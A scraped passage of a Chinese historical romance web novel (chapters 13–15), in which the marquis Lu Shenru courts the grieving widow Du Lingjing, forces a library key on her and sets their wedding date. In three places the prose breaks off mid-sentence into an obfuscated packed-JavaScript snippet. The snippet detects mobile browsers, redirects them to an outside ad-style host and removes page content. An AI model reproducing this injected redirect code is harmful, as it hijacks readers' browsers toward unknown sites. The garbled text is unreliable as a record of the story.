只是男人却似定住了一般,目光轻轻洒在她脸上,定住了。 她生着一双如荷花花瓣一般柔嫩的水眸,她笑的时候眸中涟漪层层推开。 陆慎如莫名地回忆起那年,她立在排排书架之间,窗外投下的一束晨光里,就那么静静持着书册立着,向着他处身的方向,抿唇笑了一笑。 “抱歉,把你当作勉楼里啃书的耗子了... ...” 那是第一次,她主动开口跟他说话。 是第一次,她跟他抿唇笑了一笑。 心口似被层层涟漪波动,软了一软。 “你别站着,坐下说话。”他道。 他没觉得怎样,倒是立在外面的崇安眨了一下眼,转头,“哥,侯爷把这儿当自己家了?” 崇平连忙让他,“闭嘴!” 书房里,杜泠静点头道谢坐了下来。 茶香与书香如两条飘带,在窗外的细风中交叠飘飞。 气氛一改方才,男人看着她静静坐在那,心下越发柔缓,温声问了过去。 “你想跟我说什么?” 他目光落在她轻垂的羽睫上。 但下一息,她抬起眼帘,开了口。 “不敢隐瞒侯爷,杜泠静心中有一人,唯他一人珍重万千,恐怕无法与侯爷为妻。” 这话一出,莫说整个房中静了一静,连带这外面崇平崇安兄弟,也都屏住了呼吸。尤其崇安,忍不住惊诧地向窗内自家侯爷脸上看去。 男人眸色一定。 他看着她,“蒋解元?” 她半低着头,轻轻点了点,“是。” 她说“是”的时候,耳边碎发滑落了下来,她抬手挽到耳后,手腕上系的那片竹叶缓缓旋了旋。 男人目光在那片竹叶上凉凉定了定。 当然是蒋竹修。 你心里一直都是他,就再没看到过旁人了。 男人心下默然道了一句,口中却问,“可是蒋解元已过世,姑娘缘何宁肯沉浸在前尘往事里?” 前尘往事? 三郎过世不过三年而已。 这话让杜泠静心下不适,她不自觉地语气淡了几分。 “家夫虽然过世,但在我心里,山水有意,草木含情,他从未离开。” 这话直说得连窗外树上的雀儿,都停在了枝头不敢乱飞。 男人却禁不住地勾起嘴角笑了一笑。 家夫。 原来在她心里,就算没成亲,蒋竹修也是她的夫君。 就只有蒋竹修是她夫君。 心口有被大蓟密密麻麻的细刺划过的感觉,明明出不了血,但那种刺痛感难以忽略。 但他不想再跟她谈不相干的死人。 “可圣旨赐婚姑娘与我,姑娘如何作想?” 他只说圣旨,杜泠静正也不想跟他细论旁的,她看了他一眼。 “我虽旧居青州,却也晓得侯爷位高权重,如今一见更是英武不凡,仿若天人。可惜我这番情形委实低微不堪,给侯爷作配,实是辱没了侯爷。” 英武不凡,仿若天人。 但辱没... ...她又用了个好词。 男人抿唇,她并没停下。 “杜家的境况,侯爷也看到了。家叔父难堪大任,而家父过世多年,恐怕无法为侯爷助力。相反,家父从前在朝中树敌颇多,我身为父亲的独生女儿,若是嫁于侯爷,只怕是要连累侯爷的。” 陆慎如没表态。 她这话说得颇有些道理,若是旁人恐怕是要照着她的意思掂量掂量。 但他不言。 杜泠静却看出他暗含几分不以为意。 他若是不在乎这个... ...杜泠静思量了一下。 “听闻侯爷一直在等人,想来是时机不成熟,才没有迎娶那位真正的侯夫人过门。” 她说到此处,见男人定睛瞧了过来。 杜泠静直问过去,“侯爷其实也是不想联姻的吧?” 这桩联姻对他,并没有大利益,似他这样的权臣,结一门没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096414|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大利的亲事,便就是大弊了。 如果他能答应,她可以重病为由,让这位侯爷与她叔父同时上奏她重病难愈,请皇上另行为侯爷指婚。 另行指婚不算收回成命,只是换个人而已。 至于换成谁,就和她没有关系了。 但这全要看这位侯爷愿不愿意。 “陆某确实不欲联姻。我多年未曾成婚,就是不想无端陷入联姻之中,若嫁娶不相宜,便是误了旁人家中姑娘。” 这话一出,杜泠静心绪不禁一扬。 她越发看住了他。 陆慎如亦察觉了她的眼神,轻柔回看了过去,可他却忽的摇头笑了笑。 “可是今次圣旨毫无预兆地指了婚。” 他轻叹一气,“我晓得你同前人情深义重,不肯忘怀,可圣旨赐婚,我虽在世人口中权柄在握,却也无可奈何。” 他低了三分嗓音,“越是到我这般高位,越是诸事由不得自身。” 杜泠静见他苦笑了一声,英眸中似是充满了无奈。 他向她看来,“娘子可否体谅一二?” 他婉拒了,又突然改了口。 杜泠静一惊,心下倏忽沉了下去。 她不该是他的娘子。 “实不敢当,侯爷慎言。” 她连“娘子”都不许他喊,却叫蒋竹修“家夫”。 陆慎如一默,软下的心硬了起来。 “杜氏诗书传家,门庭清贵。前有杜老先生一生致学,桃李天下,后有杜阁老针砭时弊,敢于人先,再有姑娘藏书刊刻,传阅天下。若说高攀,是陆某高攀了。” 杜泠静默然不语,却见他看住了她。 男人烽火淬金般的英眸,此刻宛如平湖映月,水色轻柔波动开来。 他道,“那日枕月楼擦肩,虽是初遇,但陆某彼时... ...对姑娘已种情根。” 杜泠静怔住,却见他忽的站了起来。 男人高挺的身形立在书房之中,整间书房都显得逼仄起来。 “你我的亲事,只要我陆慎如有的,姑娘瞧得上的,皆愿双手奉到姑娘眼前。” 他眸光轻颤,“还请姑娘接纳。” 杜泠静指缝发凉,这是她事先完全没想到的。 虽说她想要试着说服这位侯爷,与她共同思量计策,但其实,她后面的咄咄言语,也是想让他由此厌烦了她,主动顺意而为。 可是他却... ... 杜泠静暗暗一慌。 陆慎如却一步近到她身前。 男人目光捧住了她的双眸,她眼神避闪起来。 宽松下来的衣衫挂在肩头,白皙的脖颈露在清凉的秋风中,她侧身避开他的目光,脖颈转头隐隐泛青。 男人暗叹一气,脚下没舍得再继续靠近。 杜泠静则心下略松,却听见他跟她轻轻叹了一叹,叹息中尽是无奈,他低声开了口。 “陆某二十有五才娶上妻,还请娘子... ...垂怜。” 杜泠静怔在了原地。 他那话说得,好像他真的需要她垂怜一样! 而男人的气息不知何时缓缓近到她脚下,已将她整个人都拢了起来。 13.第 13 章 杜泠静定在了原地。 她不知这位侯爷,怎能说出这般话来? 是能屈能伸,方为丈夫,还是在这权利宫城里推杯换盏太久,不管怎样的话都说得出来? 杜泠静觉得是后者,至于他说什么枕月楼里对她一见倾心,自也不会是真话。 只是他娶她,到底是想得到什么呢? 她默然不动,却见男人自怀中取出了一件物什,他手下很轻,似是什么珍贵之物。 但杜泠静自眼角看去,却见是一把钥匙。 他开了口。 “陆某在京郊有一书楼,高阔通透比娘子家中勉楼更甚,藏书十万不在话下,人皆道可比皇家文澜阁。此楼修建多载,刚于半年之前竣工。” 他伸手,将那要钥匙送到了她面前。 那钥匙泛着黄铜光亮,顶端铸成了高耸精巧的书楼模样。 杜泠静早有所耳闻,陆氏这座书楼,是借了工部给宫里筑楼的工匠,自陆慎如从西北边关回京,至今已建六年。 她还曾跟三郎叹过,说陆氏财力鼎盛,能建得这般巍峨楼宇,可惜杜家只能勉强支撑勉楼藏书不散不分,另起高楼是不可能了。 彼时三郎只笑了笑,什么也没说。 他将那座书楼的钥匙就这么送到了她面前。 “此楼陆某一直不知该作何名。今次,还请娘子收下,至此归你所有,由你题名。” 黄铜钥匙的光亮微微闪了闪,杜泠静恍惚了一下,她是想让家中藏书也有陆氏高楼这样藏书之地,可却不是以这等方式。 她摇了头。 “此物贵重,杜泠静受不起。” 她不要。 她脸色绷着,又侧过了头去,似乎这不是藏书楼的钥匙,而是会黏在她手上的坏东西,她碰都不会碰一下。 陆慎如看着抿了唇,但下一息,他又往前走了半步。 本就显得逼仄的书房,顿时拥挤了起来,他离她已不到半步的距离。 杜泠静想退,但身后皆是桌椅,并无可退之地。 男人的呼吸声隐隐可闻,杜泠静再不适应与旁人这样的距离,心跳都快了起来。 她暗攥了手,抬头向他看去。 他眸色如墨,浓墨间暗含着化不开的意涵。 她无意追究,不得不又重复了一遍,“这把钥匙太过贵重,还请侯爷收回... ...” 然而话音未落,男人却低头,将那钥匙系到她的腰间。 腰间系带被轻轻拉拽,连带着她都向他靠了过去。 杜泠静心下一惊,伸手就要解下,但他忽的抬头,浓如墨色的眼眸看住了她。 “旁的聘礼皆不值一提,只有这个是我最想给你的。别解。” 低低带着哑意的嗓音就擦在她耳边。 杜泠静手下微滞,他已将钥匙紧紧系在了她腰上。 杜泠静从没见过有人,这样给旁人送礼! 但男人嘴角扬了起来,眸中春色回暖,脚步倒是退回了原地。 杜泠静抿唇沉默。 这时,门外突然传来她叔父的问话,“侯爷可要再沏一壶新茶?” 杜致祁只怕侄女又无端闹出事来,哪敢让她一只单独同陆侯言语。 他问来,陆慎如看了身侧的姑娘一眼,见她连眼角都不想再扫过他,更是没什么要跟他说,他只能回应了杜致祁。 “杜大人不必忙碌,时候不早,陆某也该回去了。” 他目光又从她身上掠过,她当然不会对他有任何挽留。 但男人看着自己系在她腰间,还没被她解下来的钥匙,已觉心满意足。 见杜致祁进了书房里来,他同叔侄二人道。 “陆某已请钦天监代为相看了成亲吉日,就定在下个月初六。”他道,“届时鼓乐开道、红绸铺街,陆某定前来,迎娶姑娘过门。” 话音落地,叔侄二人齐齐僵住了身形。 下月初六? 满打满算只剩半个月了! 杜泠静不禁抬头向他看去,他跟她柔和地笑了笑。 杜致祁则忍不住问出口,“侯爷说得,是九月初六?那只剩半月筹备... ...” “那也够了。”陆慎如没看他,目光只落在姑娘蹙起的眉头上,“侯府会在半月内筹备齐全,不会让侯夫人委屈半分。” 他说完这话,便没再多留,同叔侄二人告辞离去。 杜泠静觉得眼睛有些发干发涩,连带着眼窝到半边额头都隐隐闷痛。 她要回自己的院子,但叔父叫住了她。 “你方才跟侯爷说了什么?得亏侯爷没与你计较,你可晓得他是永定侯,手里握着边关重兵,连皇上都要礼遇三分,谁人敢与他胡言乱语?” 杜致祁想到方才侄女突然过来,要跟陆侯单独说话,只把他当时心都惊颤了。 先有她一声不吭见邵伯举,然后闹出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101861|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊天大浪,再有今次又要单独见陆侯,她还不知是想做什么? 杜致祁想到侄女看似默不作声,却敢兴风作浪,忍不住就道。 “下次你要做什么,能不能先跟我说一声?!” 这话引得杜泠静,讶异看了叔父一眼。 杜致祁也觉自己这话有点怪,若她提前告诉了他,还怎么“兴风作浪”? “反正,你让我省些心吧!” 他说去,见侄女似乎心绪不佳,倒还敷衍“嗯”了一声。 杜致祁捂着头痛坐了下来。 杜泠静则一路往回去,经过正院,瞧见一片裙摆。 有人似乎急急避开,裙摆却还露在外面。 秋霖耳语一句,“是二姑娘。方才二姑娘一直留意着前院姑娘、侯爷和二老爷的情形。” 她留意前院不奇怪,但奇怪的是,自己走过来,她缘何要急急避开? 但这会杜泠静没心思细究,目光又从杜润青那片裙摆上扫过,回了西院。 她叫秋霖去拿了空匣子来,自己低头去解开腰间的钥匙。 她不想当那位侯爷的夫人,自也不要他的钥匙。 只是这钥匙竟系得紧极了,似乎用了某种特殊的系法,她亲自解了半晌,秋霖也过来帮忙,两人居然都没能解开。 “瞧着像个活扣,解起来又是死扣,就扣在姑娘腰上了,这怎么办?” 杜泠静不由想起方才,她不要那陆侯的东西,他却非近到她身前,系在她腰间。 她一默,忽的拿了剪子。 秋霖吓了一跳,“姑娘,到底是侯爷给的钥匙,系着侯府的绦子。” 怎好剪了? 她说去见姑娘越发沉默,但拿起剪子,直将自己腰间的系带剪断开来。 系带剪断,钥匙咣当落下。 姑娘没看一眼,抽身去了书桌旁边。 她翻开旧书稿开始修书,从头到尾一句话都没再说过。 秋霖已经不敢弄出一点动静—— 姑娘最不悦的时候,就是她一言不发开始修书的时候。 这书一修,一直修到了夜幕四合,灯火点亮起来。 秋霖正要进去给姑娘挑灯,恰丫鬟艾叶回来了。 “秋霖姐,姑娘让我打听的永定侯的事情,都打听到了。” 秋霖一喜,而书房里姑娘终于出了声。 “艾叶进来回话。” “是!” 14.第 14 章 “艾叶进来回话。” 房中传出了杜泠静的声音,丫鬟艾叶连忙应声进了门去。 昨日杜泠静就让艾叶在京中打听,陆慎如缘何到二十有五还没娶妻,没想到艾叶还没打听回来,他今日倒是登了门。 杜泠静直接问过去。 这是那位侯爷身上最不寻常的地方,若能探到真实,或许能替她寻到一丝机会。 艾叶回了话。 “回姑娘,京中好奇此事的人相当之多,只要提到永定侯,除了他说他手握重兵、扶持慧王、与文臣分庭抗礼,便也就是此事了。只是奴婢打听了一圈,说辞倒是不一的。” 杜泠静颔首示意她说来。 艾叶道,“说法最多的,是陆侯一直在等人,他们先说他等得是国舅爷家的千金。” 当今皇上生母早逝,为登基之前,国舅和国舅夫人对其颇为照料。待到皇上荣登大宝,便封国舅为信云伯,提任锦衣卫指挥使,又特封国舅夫人为保国夫人。 国舅夫妻育有两子一女,其中这一女是信云伯府唯一的千金,今岁才一十四,翻过年开春才及笄。 以信云伯府的荣宠,陆侯一等再等不为过,更不要说保国夫人恰就姓陆,正就出身永定侯府陆氏,虽然是旁枝,却也算得上陆侯的姑母。 这桩亲事是最被坊间看好的,侯爷一等多年也说得过去了。 今岁就有不少人押宝圣旨赐婚侯爷迎娶国舅千金,明岁开春一过就迎娶。 但圣旨落定,这些赌/徒全在赌坊里血本无归。 艾叶道,“关于侯爷在等国舅千金的说法,散了大半。” 她看了一眼座上的姑娘,“如今说这个的,还不如说侯爷一等多年,其实是在等姑娘的人多。” 杜泠静皱了眉。 “无稽之谈。” 艾叶忙换了另外的听闻,“除此之外,议论最多的还是鞑靼公主的传闻。有说侯爷曾与一鞑靼公主,也有说是部落贵女姻缘钱定,因身份有别不能迎娶。但也有说那鞑靼贵女飘落到了京中坊间,是秉烛楼的从前的歌姬,秉烛楼就离着侯府的积庆坊不远,侯爷恰是常客。” 杜泠静听得皱眉,“就这些?” 艾叶却道,“其实还有个说法。” 她有点难以启齿,却还是道,“有说侯爷从前在边关作战受过伤,迟迟未能娶妻,恐怕是因着... ...不能人道了。” 这话没说完,杜泠静还没怎样,旁边的秋霖先瞪大了眼。 “真的吗?!” 说着转头跟姑娘道,“若是这样的话,也不是不能考... ...” 杜泠静瞥了她一眼。 艾叶也道,“这说法的人不多,众人都道侯爷一副英武威猛的样子,不太可能不行。” 确实。杜泠静想起那侯爷的模样,坊间传闻总是离谱,就像传他其实在等她一样全不可信。 只是艾叶又有些难以启齿了,秋霖催她赶紧说,她才道: “与其说侯爷不太行才没娶妻,奴婢觉得倒不如另一个说法可信。” “什么?”杜泠静问去。 艾叶道,“他们说,侯爷是自幼在边关沙场长起来的,似虎似狼,寻常女子恐... ...承不住,侯爷深知这一点,才一直没有迎娶闺阁贵女。” “啊?”秋霖已忍不住惊诧。 杜泠静也不知该作何态,皱眉听艾叶道。 “就说那秉烛楼的歌姬。那位歌姬是鞑靼人出身,她前几年离开秉烛楼不知去向,有人就说她已入了侯爷后宅。旁人皆不能行,侯爷独宠于她,说这几年间,她已为侯爷诞下三子两女。” 秋霖张口结舌。 杜泠静压了压发酸了眼睛,她默了一默。 “就没有什么可靠的说法?” 艾叶摇摇头,但琢磨了下,还是道了句。 “其实奴婢觉得,最可信的莫过于,侯爷眼高于顶,寻常人入不了侯爷的眼,这才迟迟未娶。” 杜泠静闭了闭眼睛。 她不觉得自己有什么异于常人之处,得他青眼。但也许与杜家结亲,有他另外的考量。 听了这些糟七糟八的传闻,听得人脑袋都乱了起来。 杜泠静又坐回到了书案前修书,只是莫名的,脑中总有关于那陆侯的古怪传闻环绕,不胜其烦。 如此连着修了两日的书,她才觉周遭静了静,但圣旨赐婚的事,仍不知如何解。今日已八月二十六,离着他定的下月初六,也就十天了。 念及此,手里的书也修不进去了。但阮恭来给她递了话。 “姑娘,太妃娘娘让宫女传了话来,请姑娘去一趟枕月楼。” 杜泠静换了衣裳就去了。 然而到了枕月楼的雅间里,她只见到了蒋太妃身边的朴嬷嬷。 “嬷嬷,太妃娘娘没来?”杜泠静微怔。 朴嬷嬷跟她摇了摇头,“娘娘去了红螺寺清修,是临走之前,吩咐奴婢传几句话给姑娘。” 她和三郎尚在京城的时候,那会先帝刚过身,娘娘就去了红螺寺清修,她和三郎多次往红螺寺里探望娘娘,娘娘让朴嬷嬷亲手做了斋点给他们吃。 今次若不是她的事,娘娘多半不会回京。 杜泠静敛了神色,“不知娘娘有何吩咐?” 朴嬷嬷看了她一眼,见姑娘比少时长高了许多,但那时她虽文气安静,眸中却如日光下的山泉,波光粼粼,可如今,她眼帘半垂着,山泉没了日光,在浓浓的雾气之中默然缓流。 朴嬷嬷不禁目露爱怜。 “娘娘让我告诉姑娘,”她微顿,“别太想念三爷。” 只一句,如风沙过眼,杜泠静眼泪倏然滑落下来。 雅间中静到无以复加,秋霖掩了口鼻,朴嬷嬷也红了眼眶。 她道,“娘娘没来亲口嘱咐姑娘,就是怕看到姑娘流泪。” 然而她话音没落,杜泠静抬起头来。 “可是嬷嬷,我又该怎么样,才能不想他?” 她嗓音哽咽得让人难以驻听,饶是朴嬷嬷在宫中见过多少大风大浪,此刻也忍不住湿了眼眶。 “那便是娘娘让我告诉姑娘的第二句话了。” 杜泠静看去,朴嬷嬷道。 “娘娘说姑娘还年轻,这世间不独父慈女孝、青梅竹马,也不独书山学海、古今文章。娘娘说,姑娘秉性才学皆高于常人,或该有更高阔的人生,才不枉世间一遭。” 杜泠静愣着默了一默,又低了头去。 “... ...娘娘怕是高看我了。” 自父亲和三郎过世之后,她只想安静地在勉楼里度过余生而已。 不需要什么高阔,她在书楼里,时常能感觉他们还陪在她身边,便没那么孤独难捱,就已是难得。 如今,也许连这点的难得也不可得了。 她低着头沉默起来。 朴嬷嬷叹气,“娘娘还有第三句。” “... ...嬷嬷请讲,静娘听着了。” 朴嬷嬷看着眼前低落似夜雨的姑娘。 “娘娘说,圣旨难违。但陆侯爷未必不是姑娘良配。” 话音落地,杜泠静讶然一怔。 “良配?” 她不禁摇头,“非是,静娘不这样以为。” 她摇头又摇头,不再说话,眼泪却随着轻轻的摇头洒落下来。 朴嬷嬷重叹一气,“你这孩子,脾气也是执拗... ...” 只是朴嬷嬷传完蒋太妃的这三句话,便要离去了。 她还要赶在天黑之前,到红螺寺回话。 杜泠静没法多留,只能起身送朴嬷嬷离开。 谁料她们刚出了雅间的门,转行至楼梯间里,竟与一人遇了个正着。 “朴嬷嬷。” “侯爷?” 朴嬷嬷看到了陆慎如,上前跟他行了一礼。 陆慎如连忙扶她免礼,目光向后落在了嬷嬷身后的姑娘身上。 她红着眼睛。 刚哭过。 男人抿了唇。 朴嬷嬷要赶路,见状立时告辞,又回头止了杜泠静,“姑娘不必送了。” 嬷嬷说完,带着小宫女下了楼梯。 杜泠静却并不欲留,尤其不欲在他面前多留,她默然跟他行了一礼,也要离去。 可他却站在她之下的木梯上,身形未动,只抬头向她看过来。 又是枕月楼,又是这个楼梯间。 若说上一次是巧合,那么这一次... ...杜泠静一顿,他不会让蒋太妃娘娘和朴嬷嬷给他当说客吧? 她这么想着,也看了过去,目光略一触及,陆慎如就明白她误会了,他解释。 “我只是恰好路过。” 他确实是路过,今日约了陕西都司过来的官员见面,不过方才进门的时候,确实听侍卫提及她正巧在枕月楼里。 男人知道自己是说不清的,少说也让她怀疑他跟踪,他只能任着她打量。 但她却收回了目光。 杜泠静难以想象,这位侯爷先前对枕月楼甚是不满,怎么会这么巧路过到枕月楼里? 她别过头去不再看他,又敷衍地跟他点头,应着他的解释。 但她开口,“侯爷请便。但杜泠静还要往崇教坊替家夫买几册书,就不耽误侯爷要务了。” 她说完,侧身倚到墙边,示意这位侯爷先上楼去。 他上了楼去,自然她就能下楼了,不然他一直挡在她下面的阶梯上。 男人岂能不知她的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115055|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 她的语气礼数周道十足,但“家夫”... ... 她真会专捡他喜欢听的话说。 陆慎如不禁勾起嘴角笑了起来。 他不理会她这句,只跟她另说了一句。 “侯府已将我与娘子的大婚之事备办了九成,还请娘子放心。” 这话引得杜泠静转头看了过来。 楼梯间中静得只剩立在楼梯上与下的两个人,莫名浅交的呼吸声。 陆慎如仰头由着她看,亦看向她的双眸。 眼睛红红的,连带着白挺的半管鼻梁也暗暗发红,腮边还有残余的水迹。 缘何又为那人落泪? 可杜泠静却不由想到那日他在书房里,非要往她腰间系上他的聘礼。 这也算良配? 呼吸交错着,她似乎隐隐闻到了他身上不许人抗拒的气息。 她再不欲与他靠近僵持。 她当即转回了头,眼看着他是不会主动让她,抬脚就要往楼下去。 她决意下楼,只是他还没让开去,两人之间的距离倏然拉近至极。 陆慎如却不禁抬手,握在了她的手腕上。 炽热的掌心将她倏然一烫。 杜泠静沉了嗓音,“侯爷。” 男人知道她的意思。 他无奈,“... ...好。” 他轻叹一气,轻轻松开了她的手,侧开身形让了她,目光又追着她越下越快,最后消失在楼道口。 但她头也没回。 * 崇教坊在崇文门里街的最北头,杜泠静本就是托词,也无心专门去一趟,出了枕月楼就回了家。 晚间的京城似乎酝酿着一场雨,雨降落未落之前,压着半空沉沉又闷闷。 秋霖让人把扇子拿出来,“莫不是今晚秋老虎回来了?” 房中闷热,杜泠静心绪杂乱,写了几页字就搁了笔,秋霖伺候她洗漱,然后吹熄了灯早早睡了。 不知是不是闷热的缘故,这一晚睡得一点都不踏实。 杜泠静浑浑噩噩地做了好几个梦,轰轰隆隆的闷雷声灌进耳朵里,她梦境换了几换,忽然梦到了一个雕梁画栋的高深宅门。 她不知这是何处,但转头向那连廊下的房中看去,她竟一眼看到了那位侯爷。 男人只着中衣中裤,他背身立在灯光下,火光将他湿漉的后背照得起伏不定。 他侧过半边身来,竟衣襟半敞,如刀横亘的锁骨露出大半,杜泠静讶然不知自己到底身在了何处,却见一个鞑靼长相的女子穿着一身清凉果露的胡服出现在他身前。 她脑中不禁冒出此女的身份—— 那个为他诞下三子两女的鞑靼歌姬? 此刻那歌姬为他生过孩子,身材仍曼妙依旧,她近到男人身前,沿着他的锁骨轻抚他青筋起伏的脖颈,抚摸上他的脸颊。 男人跟她低头笑起来,接着,他忽的一把将女子抱起,转身将她放到了身后高高的案台上。 灯火在一瞬间乍亮又昏暗下来,衣衫半褪,绫罗曳地,他握起那歌姬脚腕,极尽旖旎之能事... ... 杜泠静大惊,转身就要走,谁想男人忽的转头,一眼越过窗子看住了她。 下一息,周遭不知怎么天旋地转起来,待她再睁开眼睛看去,却见灯光之下,被抱坐在高台上的哪里还是鞑靼歌姬。 男人赤着臂膀,炽热的掌心一边扣在她腰间,另一边锁住了她的手腕。 衣衫褪尽的人已变成了她! 男人低头,目光摄住了她的眼眸,杜泠静一时滞住,倏然从梦里惊醒过来。 天已亮了,雨还没落下来,天色蒙蒙灰,一缕风丝都没有。 她出了一身的汗,坐起身低头看去,却见薄衫不知何时被压下,从肩头半褪下来。 突然想起方才的荒唐梦,她连忙拉起衣衫掩住肩头,又撩开帷帐叫了秋霖。 “秋霖,帮我倒杯凉茶来。” 秋霖应声连忙去了。 杜泠静把茶水一饮而尽,才觉魂魄镇定三分。 “姑娘怎么出了一身汗?梦到什么了?”秋霖给她拧了帕子擦身。 方才那梦,还有梦中那位侯爷... ...杜泠静从没做过这样惊骇的怪梦。 “没,”她摇头,“没什么。” 但距离与他大婚只剩九日了。 艾叶忽然跑了进来。 “怎么了这是?”秋霖问过去。 艾叶道,“二姑娘晚间发了高烧,早间竟烧昏了过去,二老爷急着请了大夫。” 杜泠静挑眉。 二妹身体一直算得康健,怎么突然高烧昏迷? 她起身换了衣裳。 “过去看看。” 15.第 15 章 杜泠静到的时候,大夫施了针,妹妹杜润青已经醒了。 杜致祁忙问了大夫是为何故,大夫又给小姑娘把了把脉。 杜泠静见二妹脸色青白不定,而大夫则道是着了凉,又看了杜润青一眼,“姑娘年纪轻轻,思虑却太重了些,思虑过重便易引邪气入体,难免遭不住的。” 这话说得杜润青脸色更加不好,杜致祁先请了大夫去开方子,又转身问向女儿。 “我看大夫说得不错,也怪我常年在外做官,顾不及家中周全。往后从顾家多借两个有力的管事来帮你分担,旁的事你就更不要问了,少思虑些吧。” 他以为是家中庶务累倒了女儿,杜润青低着头哑声道是。 说完他出去同大夫说话,房中一时只剩下姐妹两人同各自的丫鬟。 杜泠静浅问了妹妹两句感觉如何的话,倒是秋霖忍不住打量了几眼房中。 这是正院的东厢房,正是杜泠静从前随父在京时的住所。 她只见房中大件家什都留了下来,那是原本大老爷给姑娘特特用好料打造的,以二姑娘的年岁,用起来恰合宜。但细处摆设却整个变了。 自家姑娘性子静,多用些素瓷青盏,但二姑娘显然更符合这个年岁的娇嫩,多用花鸟纹样的粉彩。 倒也是好看的,秋霖在心里嘀咕了一句。 不想她什么都没说,二姑娘却开了口。 “这儿原是姐姐的厢房,是我无端占了去,又改头换面,姐姐别介意。” 她鼻音很重,似半哭一般,“姐姐马上就到大喜的日子,我本不该如此,但眼下病了,只怕什么都操持不了,坏了姐姐的喜事,也辱了... ...”她微顿,“侯爷的体面。” 杜泠静看过去,听见她低头道,“我不能为姐姐帮衬,娘也需要静养,我明儿就带着娘搬出去,去京郊的庄子上住段日子。姐姐勿怪。” 她说话的时候一直低着头,她没看杜泠静,杜泠静却见得她眼睛红红的,眼下却发青,嗓音哑着鼻音又重,似是忍着才没哭出来。 杜泠静没立时回她这话,多看了妹妹好几眼,才缓声开了口。 “二妹确实思虑过重了。这桩婚事实非我所愿,陆侯也非我良人。若按我所想,其实不办了才好。所以顾不顾得上喜气体面,也不重要,二妹就不要多思量了。” 她这般说,见妹妹不禁抬头向她看来,杜泠静说得皆是实言,任由她看着。 一直看了半晌,杜润青才猛然回了神,连忙低下头去。 “姐姐说得是。” 她见大姐确实无甚喜气在身,只嘱咐她好生养病,便带着秋霖离了去。 然而杜泠静主仆一走,丫鬟瑞雪就忍不住道。 “大姑娘可真是古怪,探花续弦继妻她看不上,侯爷迎娶侯夫人她竟也无意。这... ...大姑娘心里真就只有蒋三爷?蒋三爷都过世三年了。” 瑞雪难以置信,杜润青也怔着,一时没说出话来。 不过瑞雪又问了她,“那姑娘,咱们真要离京,把厢房腾给大姑娘吗?” 她问过来,杜润青刚要回句什么,外面小丫鬟来传了话,道是万老夫人身边的管嬷嬷来了,“老夫人听闻姑娘早间高烧昏厥,心疼得不得了,要接姑娘去顾府小住几日。” ... ... 澄清坊顾家。 万老夫人吩咐人将自己院子的厢房收拾出来,“姑娘眼看着及笄了,不能再用从前的旧物,一律换了库房好的新的来,居移气,养移体,她也该有些尊贵体面。” 顾扬嗣却顾不得外甥女怎样。 “娘还理会那些?婚期就定在下月初六,”他百思不得解,“那陆侯就这么想娶杜泠静?就中意了她?” 万老夫人闻言哼了一声,“未必吧。” 她看向儿子,“邵氏如今的境况你也看到了。” 她说邵伯举被疑杀人,闹得满城风雨,原本是一件不算起眼的小事,但以永定侯府为首的慧王一党,群起攻讦邵氏作奸犯科,虽他只是新科进士,却引出王子犯法与庶民同罪,只打得雍王一系措手不及。 朝中本就有些自诩纯臣之人,不欲参与两党相争,亦反对邵氏一味帮雍王拉拢文臣,此事一出,不少本就摇摆的臣子转了向。 “这种时候,若是陆侯顺皇上之意,迎娶清流杜氏的女儿为侯夫人,愿意与文臣交好,岂不正拉拢得一帮文臣站到慧王这边。就算拢不过来,这些文臣看待永定侯府也多几分认可。” 万老夫人道,“杜家是落魄不如从前,但迎上这风口,那杜家女还真就比贵勋贵女更合宜。” 她耐心讲给儿子听,顾扬嗣却还是皱眉。 “可对于咱们家来说,就没什么好处。” 他说谁知不知道原本邵家联姻杜家的事情,是万老夫人撮合的,“邵氏失了皇上恩宠,咱们也被连累到,这些日上门的人少得可怜。” 他原本还指着外面的人来寻他办事,收些个好处。 眼下人都没了,好处自然也飞了。 最开始,顾家和万老夫人是不在朝堂中站队两位皇子的。不管是宗亲还是贵勋,是文臣还是乡绅,她都能帮衬联姻,往后不管是那位皇子继承大统,顾家都立于不败之地。 不过因着万老夫人出身皇亲的关系,同贵勋来往密切了些,所以这次邵氏递来意思,她想了一下就答应了。若能帮邵氏联姻,她可真就两边站稳了。 谁知这事陡然出了大纰漏,顾家竟跟邵氏绑到了一起遇了冷。 这会顾扬嗣就忍不住埋怨起母亲来。 “娘也真是,儿子从前见您办事最稳妥不过,这一次,怎么就得罪了那杜泠静。眼下她成了陆侯夫人,定在侯爷面前不给咱们留脸面,咱们可真就跟邵氏绑上了。” 